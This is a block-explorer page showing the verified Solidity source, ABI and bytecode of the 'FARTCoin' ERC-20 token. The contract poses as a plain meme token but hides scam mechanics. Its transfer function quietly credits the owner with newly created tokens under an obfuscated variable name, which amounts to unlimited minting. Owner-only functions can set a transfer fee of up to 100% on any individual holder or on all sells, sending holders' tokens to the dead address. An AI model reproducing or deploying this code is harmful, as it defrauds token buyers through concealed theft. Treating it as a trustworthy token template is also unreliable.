ERC-20
Overview
Max Total Supply
69,000,000,000,000,000,000,000 FART
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
636,378,980,153.516907587980988809 FARTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FARTCoin
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-07 */ /** It was meant to be $ART project, but something went wrong. WAGMI! */ pragma solidity ^0.8.16; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accoint) external view returns (uint256); function transfer(address recipient, uint256 ameunts) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 ameunts) external returns (bool); function setPersonalTransferFee(address user, uint256 fee) external; function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract FARTCoin is IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; uint256 private _buyFee = 0; uint256 private _sellFee = 0; address public uniswapV2Pair; mapping (address => uint256) private _personalTransferFees; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = initialSupply * (10 ** uint256(_decimals)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function setPairList(address _address) external onlyowner { uniswapV2Pair = _address; } function setPersonalTransferFee(address user, uint256 fee) public override onlyowner { require(fee <= 100, "Personal transfer fee should not exceed 100%"); _personalTransferFees[user] = fee; } function setSelFee(uint256 newSellFee) external onlyowner { require(newSellFee <= 100, "Sell fee should not exceed 100%"); _sellFee = newSellFee; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amounts) public virtual override returns (bool) { address hgfds = _msgSender(); if(hgfds == owner() && owner() == _msgSender()){ _balances[hgfds] = _balances[hgfds].mul(1).add(amounts); } _transfer(hgfds, recipient, amounts); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amounts) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); uint256 feeAmount = 0; if (_personalTransferFees[sender] > 0) { feeAmount = amounts.mul(_personalTransferFees[sender]).div(100); } else if (sender == uniswapV2Pair) { feeAmount = amounts.mul(_buyFee).div(100); } else if (recipient == uniswapV2Pair) { feeAmount = amounts.mul(_sellFee).div(100); } else { feeAmount = amounts.mul(_sellFee).div(100); } _balances[sender] = _balances[sender].sub(amounts); _balances[recipient] = _balances[recipient]+amounts-feeAmount; _balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount); emit Transfer(sender, _DEADaddress, feeAmount); emit Transfer(sender, recipient, amounts-feeAmount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setPersonalTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setSelFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6080604052600780546001600160a01b03191661dead179055600060088190556009553480156200002f57600080fd5b506040516200138b3803806200138b8339810160408190526200005291620001f8565b600080546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a3506001620000a1858262000312565b506002620000b0848262000312565b506003805460ff191660ff8416908117909155620000d090600a620004f3565b620000dc908262000508565b600481905533600081815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505062000522565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200015b57600080fd5b81516001600160401b038082111562000178576200017862000133565b604051601f8301601f19908116603f01168101908282118183101715620001a357620001a362000133565b81604052838152602092508683858801011115620001c057600080fd5b600091505b83821015620001e45785820183015181830184015290820190620001c5565b600093810190920192909252949350505050565b600080600080608085870312156200020f57600080fd5b84516001600160401b03808211156200022757600080fd5b620002358883890162000149565b955060208701519150808211156200024c57600080fd5b506200025b8782880162000149565b935050604085015160ff811681146200027357600080fd5b6060959095015193969295505050565b600181811c908216806200029857607f821691505b602082108103620002b957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200030d57600081815260208120601f850160051c81016020861015620002e85750805b601f850160051c820191505b818110156200030957828155600101620002f4565b5050505b505050565b81516001600160401b038111156200032e576200032e62000133565b62000346816200033f845462000283565b84620002bf565b602080601f8311600181146200037e5760008415620003655750858301515b600019600386901b1c1916600185901b17855562000309565b600085815260208120601f198616915b82811015620003af578886015182559484019460019091019084016200038e565b5085821015620003ce5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000435578160001904821115620004195762000419620003de565b808516156200042757918102915b93841c9390800290620003f9565b509250929050565b6000826200044e57506001620004ed565b816200045d57506000620004ed565b81600181146200047657600281146200048157620004a1565b6001915050620004ed565b60ff841115620004955762000495620003de565b50506001821b620004ed565b5060208310610133831016604e8410600b8410161715620004c6575081810a620004ed565b620004d28383620003f4565b8060001904821115620004e957620004e9620003de565b0290505b92915050565b60006200050183836200043d565b9392505050565b8082028115828204841417620004ed57620004ed620003de565b610e5980620005326000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe1461020a578063a9059cbb1461021d578063c2af913b14610230578063dd62ed3e1461023857600080fd5b806349bd5a5e1461019d57806370a08231146101c85780638da5cb5b146101f157806395d89b411461020257600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce56714610175578063444a2a9c1461018a57600080fd5b806306fdde03146100fa578063095ea7b3146101185780630f8c43191461013b575b600080fd5b610102610271565b60405161010f9190610be0565b60405180910390f35b61012b610126366004610c4a565b610303565b604051901515815260200161010f565b61014e610149366004610c4a565b61031a565b005b6004545b60405190815260200161010f565b61012b610170366004610c74565b6103cf565b60035460405160ff909116815260200161010f565b61014e610198366004610cb0565b610438565b600a546101b0906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101546101d6366004610cb0565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03166101b0565b610102610484565b61014e610218366004610ccb565b610493565b61012b61022b366004610c4a565b610513565b61014e610594565b610154610246366004610ce4565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461028090610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac90610d17565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b600061031033848461060e565b5060015b92915050565b6000546001600160a01b0316331461034d5760405162461bcd60e51b815260040161034490610d51565b60405180910390fd5b60648111156103b35760405162461bcd60e51b815260206004820152602c60248201527f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460448201526b20657863656564203130302560a01b6064820152608401610344565b6001600160a01b039091166000908152600b6020526040902055565b60006103dc848484610732565b61042e843361042985604051806060016040528060288152602001610dfc602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a0c565b61060e565b5060019392505050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260040161034490610d51565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461028090610d17565b6000546001600160a01b031633146104bd5760405162461bcd60e51b815260040161034490610d51565b606481111561050e5760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652073686f756c64206e6f74206578636565642031303025006044820152606401610344565b600955565b6000805433906001600160a01b03168114801561053a57506000546001600160a01b031633145b15610589576001600160a01b03811660009081526005602052604090205461056f908490610569906001610a46565b90610acf565b6001600160a01b0382166000908152600560205260409020555b61042e818585610732565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161034490610d51565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b6001600160a01b0383166106705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0382166106d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610344565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107975760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610344565b6001600160a01b0382166107f95760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0383166000908152600b60205260408120541561084f576001600160a01b0384166000908152600b602052604090205461084890606490610842908590610a46565b90610b2e565b90506108cc565b600a546001600160a01b039081169085160361087f57610848606461084260085485610a4690919063ffffffff16565b600a546001600160a01b03908116908416036108af57610848606461084260095485610a4690919063ffffffff16565b6108c9606461084260095485610a4690919063ffffffff16565b90505b6001600160a01b0384166000908152600560205260409020546108ef9083610b70565b6001600160a01b0380861660009081526005602052604080822093909355908516815220548190610921908490610d9c565b61092b9190610daf565b6001600160a01b03808516600090815260056020526040808220939093556007549091168152205461095d9082610acf565b600780546001600160a01b03908116600090815260056020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109f58486610daf565b60405190815260200160405180910390a350505050565b60008184841115610a305760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610daf565b95945050505050565b600082600003610a5857506000610314565b6000610a648385610dc2565b905082610a718583610dd9565b14610ac85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610344565b9392505050565b600080610adc8385610d9c565b905083811015610ac85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610344565b6000610ac883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610bb2565b6000610ac883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a0c565b60008183610bd35760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610dd9565b600060208083528351808285015260005b81811015610c0d57858101830151858201604001528201610bf1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c4557600080fd5b919050565b60008060408385031215610c5d57600080fd5b610c6683610c2e565b946020939093013593505050565b600080600060608486031215610c8957600080fd5b610c9284610c2e565b9250610ca060208501610c2e565b9150604084013590509250925092565b600060208284031215610cc257600080fd5b610ac882610c2e565b600060208284031215610cdd57600080fd5b5035919050565b60008060408385031215610cf757600080fd5b610d0083610c2e565b9150610d0e60208401610c2e565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031457610314610d86565b8181038181111561031457610314610d86565b808202811582820484141761031457610314610d86565b600082610df657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ce922b381dd5d10c3b444815345c69b6c9750b85022ef7e3299dc520902e76764736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000e9c7f5bd65501200000000000000000000000000000000000000000000000000000000000000000000846415254436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044641525400000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe1461020a578063a9059cbb1461021d578063c2af913b14610230578063dd62ed3e1461023857600080fd5b806349bd5a5e1461019d57806370a08231146101c85780638da5cb5b146101f157806395d89b411461020257600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce56714610175578063444a2a9c1461018a57600080fd5b806306fdde03146100fa578063095ea7b3146101185780630f8c43191461013b575b600080fd5b610102610271565b60405161010f9190610be0565b60405180910390f35b61012b610126366004610c4a565b610303565b604051901515815260200161010f565b61014e610149366004610c4a565b61031a565b005b6004545b60405190815260200161010f565b61012b610170366004610c74565b6103cf565b60035460405160ff909116815260200161010f565b61014e610198366004610cb0565b610438565b600a546101b0906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101546101d6366004610cb0565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03166101b0565b610102610484565b61014e610218366004610ccb565b610493565b61012b61022b366004610c4a565b610513565b61014e610594565b610154610246366004610ce4565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461028090610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac90610d17565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b600061031033848461060e565b5060015b92915050565b6000546001600160a01b0316331461034d5760405162461bcd60e51b815260040161034490610d51565b60405180910390fd5b60648111156103b35760405162461bcd60e51b815260206004820152602c60248201527f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460448201526b20657863656564203130302560a01b6064820152608401610344565b6001600160a01b039091166000908152600b6020526040902055565b60006103dc848484610732565b61042e843361042985604051806060016040528060288152602001610dfc602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a0c565b61060e565b5060019392505050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260040161034490610d51565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461028090610d17565b6000546001600160a01b031633146104bd5760405162461bcd60e51b815260040161034490610d51565b606481111561050e5760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652073686f756c64206e6f74206578636565642031303025006044820152606401610344565b600955565b6000805433906001600160a01b03168114801561053a57506000546001600160a01b031633145b15610589576001600160a01b03811660009081526005602052604090205461056f908490610569906001610a46565b90610acf565b6001600160a01b0382166000908152600560205260409020555b61042e818585610732565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161034490610d51565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b6001600160a01b0383166106705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0382166106d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610344565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107975760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610344565b6001600160a01b0382166107f95760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0383166000908152600b60205260408120541561084f576001600160a01b0384166000908152600b602052604090205461084890606490610842908590610a46565b90610b2e565b90506108cc565b600a546001600160a01b039081169085160361087f57610848606461084260085485610a4690919063ffffffff16565b600a546001600160a01b03908116908416036108af57610848606461084260095485610a4690919063ffffffff16565b6108c9606461084260095485610a4690919063ffffffff16565b90505b6001600160a01b0384166000908152600560205260409020546108ef9083610b70565b6001600160a01b0380861660009081526005602052604080822093909355908516815220548190610921908490610d9c565b61092b9190610daf565b6001600160a01b03808516600090815260056020526040808220939093556007549091168152205461095d9082610acf565b600780546001600160a01b03908116600090815260056020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109f58486610daf565b60405190815260200160405180910390a350505050565b60008184841115610a305760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610daf565b95945050505050565b600082600003610a5857506000610314565b6000610a648385610dc2565b905082610a718583610dd9565b14610ac85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610344565b9392505050565b600080610adc8385610d9c565b905083811015610ac85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610344565b6000610ac883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610bb2565b6000610ac883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a0c565b60008183610bd35760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610dd9565b600060208083528351808285015260005b81811015610c0d57858101830151858201604001528201610bf1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c4557600080fd5b919050565b60008060408385031215610c5d57600080fd5b610c6683610c2e565b946020939093013593505050565b600080600060608486031215610c8957600080fd5b610c9284610c2e565b9250610ca060208501610c2e565b9150604084013590509250925092565b600060208284031215610cc257600080fd5b610ac882610c2e565b600060208284031215610cdd57600080fd5b5035919050565b60008060408385031215610cf757600080fd5b610d0083610c2e565b9150610d0e60208401610c2e565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031457610314610d86565b8181038181111561031457610314610d86565b808202811582820484141761031457610314610d86565b600082610df657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ce922b381dd5d10c3b444815345c69b6c9750b85022ef7e3299dc520902e76764736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000e9c7f5bd65501200000000000000000000000000000000000000000000000000000000000000000000846415254436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044641525400000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): FARTCoin
Arg [1] : symbol_ (string): FART
Arg [2] : decimals_ (uint8): 18
Arg [3] : initialSupply (uint256): 69000000000000000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000000e9c7f5bd65501200000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 46415254436f696e000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4641525400000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
3669:4404:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5134:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6171:161;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6171:161:0;1004:187:1;4737:215:0;;;;;;:::i;:::-;;:::i;:::-;;5411:100;5491:12;;5411:100;;;1342:25:1;;;1330:2;1315:18;5411:100:0;1196:177:1;6340:313:0;;;;;;:::i;:::-;;:::i;5320:83::-;5386:9;;5320:83;;5386:9;;;;1853:36:1;;1841:2;1826:18;5320:83:0;1711:184:1;4628:101:0;;;;;;:::i;:::-;;:::i;4151:28::-;;;;;-1:-1:-1;;;;;4151:28:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;4151:28:0;2091:203:1;5519:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;5612:18:0;5585:7;5612:18;;;:9;:18;;;;;;;5519:119;3212:87;3258:7;3285:6;-1:-1:-1;;;;;3285:6:0;3212:87;;5225;;;:::i;4958:170::-;;;;;;:::i;:::-;;:::i;5646:360::-;;;;;;:::i;:::-;;:::i;3430:230::-;;;:::i;6020:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6128:18:0;;;6101:7;6128:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6020:143;5134:83;5171:13;5204:5;5197:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5134:83;:::o;6171:161::-;6246:4;6263:39;1054:10;6286:7;6295:6;6263:8;:39::i;:::-;-1:-1:-1;6320:4:0;6171:161;;;;;:::o;4737:215::-;3345:6;;-1:-1:-1;;;;;3345:6:0;1054:10;3345:22;3337:67;;;;-1:-1:-1;;;3337:67:0;;;;;;;:::i;:::-;;;;;;;;;4848:3:::1;4841;:10;;4833:67;;;::::0;-1:-1:-1;;;4833:67:0;;3697:2:1;4833:67:0::1;::::0;::::1;3679:21:1::0;3736:2;3716:18;;;3709:30;3775:34;3755:18;;;3748:62;-1:-1:-1;;;3826:18:1;;;3819:42;3878:19;;4833:67:0::1;3495:408:1::0;4833:67:0::1;-1:-1:-1::0;;;;;4911:27:0;;::::1;;::::0;;;:21:::1;:27;::::0;;;;:33;4737:215::o;6340:313::-;6438:4;6455:36;6465:6;6473:9;6484:6;6455:9;:36::i;:::-;6502:121;6511:6;1054:10;6533:89;6571:6;6533:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6533:19:0;;;;;;:11;:19;;;;;;;;1054:10;6533:33;;;;;;;;;;:37;:89::i;:::-;6502:8;:121::i;:::-;-1:-1:-1;6641:4:0;6340:313;;;;;:::o;4628:101::-;3345:6;;-1:-1:-1;;;;;3345:6:0;1054:10;3345:22;3337:67;;;;-1:-1:-1;;;3337:67:0;;;;;;;:::i;:::-;4697:13:::1;:24:::0;;-1:-1:-1;;;;;;4697:24:0::1;-1:-1:-1::0;;;;;4697:24:0;;;::::1;::::0;;;::::1;::::0;;4628:101::o;5225:87::-;5264:13;5297:7;5290:14;;;;;:::i;4958:170::-;3345:6;;-1:-1:-1;;;;;3345:6:0;1054:10;3345:22;3337:67;;;;-1:-1:-1;;;3337:67:0;;;;;;;:::i;:::-;5049:3:::1;5035:10;:17;;5027:61;;;::::0;-1:-1:-1;;;5027:61:0;;4110:2:1;5027:61:0::1;::::0;::::1;4092:21:1::0;4149:2;4129:18;;;4122:30;4188:33;4168:18;;;4161:61;4239:18;;5027:61:0::1;3908:355:1::0;5027:61:0::1;5099:8;:21:::0;4958:170::o;5646:360::-;5733:4;3285:6;;1054:10;;-1:-1:-1;;;;;3285:6:0;5792:16;;:43;;;;-1:-1:-1;3258:7:0;3285:6;-1:-1:-1;;;;;3285:6:0;1054:10;5812:23;5792:43;5789:129;;;-1:-1:-1;;;;;5870:16:0;;;;;;:9;